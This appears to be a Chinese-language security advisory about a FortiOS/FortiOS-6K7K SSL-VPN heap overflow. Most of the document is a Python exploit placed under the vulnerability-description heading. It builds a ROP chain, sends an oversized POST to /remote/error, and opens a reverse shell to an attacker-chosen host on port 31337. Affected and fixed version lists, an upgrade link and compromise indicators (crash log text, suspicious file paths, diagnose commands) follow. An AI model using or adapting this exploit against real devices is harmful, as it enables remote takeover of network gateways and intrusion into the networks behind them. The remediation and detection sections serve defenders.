0x01 前言

0x02 漏洞描述

import socketimport sslfrom pwn import *import timeimport sysimport requests
context = ssl.SSLContext()target_host = sys.argv[1]target_port = sys.argv[2]reverse = sys.argv[3]params = sys.argv[4].split(" ")strparams = "["for param in params:    strparams += "'"+param+"',"strparams = strparams[:-1]strparams += "]"

#binary functionsexecve = p64(0x0042e050)
#binary gadgetsmovrdirax = p64(0x00000000019d2196)# : mov rdi, rax ; call r13poprsi = p64(0x000000000042f0f8)# : pop rsi ; ret)poprdx = p64(0x000000000042f4a5)# : pop rdx ; ret)jmprax = p64(0x0000000000433181)#: jmp rax)pops = p64(0x000000000165cfd7)# : pop rdx ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret)poprax = p64(0x00000000004359af)# : pop rax ; ret)gadget1 = p64(0x0000000001697e0d); #0x0000000001697e0d : push rbx ; sbb byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; retpoprdi = p64(0x000000000042ed7e)# : pop rdi ; retrax3 = gadget1


#hardcoded value which would probably need to be bruteforced or leakedhardcoded = 0x00007fc5f128e000
scbase = p64(hardcoded)rdi = p64(hardcoded + 0xc48)cmd = p64(hardcoded + 0xd38)asdf = hardcoded + 0xd38cmd1 = p64(asdf)cmd2 = p64(asdf+16)arg1 = p64(asdf+48)arg2 = p64(asdf+56)arg3 = p64(asdf+64)
ropchain = popraxropchain += execveropchain += poprdiropchain += cmd1ropchain += poprsiropchain += cmd2ropchain += poprdxropchain += p64(0)ropchain += jmpraxropchain += b"/bin/python\x00\x00\x00\x00\x00"ropchain += arg1ropchain += arg2ropchain += arg3ropchain += p64(0)ropchain += b"python\x00\x00"ropchain += b"-c\x00\x00\x00\x00\x00\x00"ropchain += b"""import socket,sys,os\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(('"""+ reverse.encode() + b"""',31337))\n[os.dup2(s.fileno(),x) for x in range(3)]\ni=os.fork()\nif i==0:\n os.execve('/bin/sh', """+strparams.encode()+b""",{})\n\x00\x00"""


try:    with socket.create_connection((target_host, int(target_port,10))) as sock:        with context.wrap_socket(sock, server_hostname=target_host) as ssock:            ssock.settimeout(2)            context.verify_mode = ssl.CERT_NONE            payload = b"A"*173096+rdi+poprdi+cmd+pops+b"A"*40+pops+rax3+b"C"*32+ropchain            tosend = b"POST /remote/error HTTP/1.1\r\nHost: "+target_host +b"\r\nContent-Length: 115964117980\r\n\r\n" + payload            ssock.sendall(tosend)            r = ssock.recv(10024)except Exception as e:    print("Exception occurred :"+ repr(e))

0x03 影响范围

受影响版本
2.0 <= FortiOS <= 7.2.20.0 <= FortiOS <= 7.0.84.0 <= FortiOS <= 6.4.102.0 <= FortiOS <= 6.2.110.0 <= FortiOS-6K7K <= 7.0.74.0 <= FortiOS-6K7K <= 6.4.92.0 <= FortiOS-6K7K <= 6.2.110.0 <= FortiOS-6K7K <= 6.0.14

不受影响版本FortiOS >= 7.2.3FortiOS >= 7.0.9FortiOS >= 6.4.11FortiOS >= 6.2.12FortiOS-6K7K >= 7.0.8FortiOS-6K7K >= 6.4.10FortiOS-6K7K >= 6.2.12FortiOS-6K7K >= 6.0.15

0x04 修复方案

目前官方已发布安全版本修复此漏洞建议受影响的用户及时升级防护：https://docs.fortinet.com/product/fortigate/7.2

 Logdesc=”Application crashed” and msg=”[…] application:sslvpnd,[…], Signal 11 received, Backtrace: […]”

/data/lib/libips.bak/data/lib/libgif.so/data/lib/libiptcp.so/data/lib/libipudp.so/data/lib/libjepg.so/var/.sslvpnconfigbk/data/etc/wxd.conf/flash

diagnose sys last-modified-files /data/libdiagnose sys last-modified-files /var/diagnose sys last-modified-files /data/etc/diagnose sys last-modified-files /flash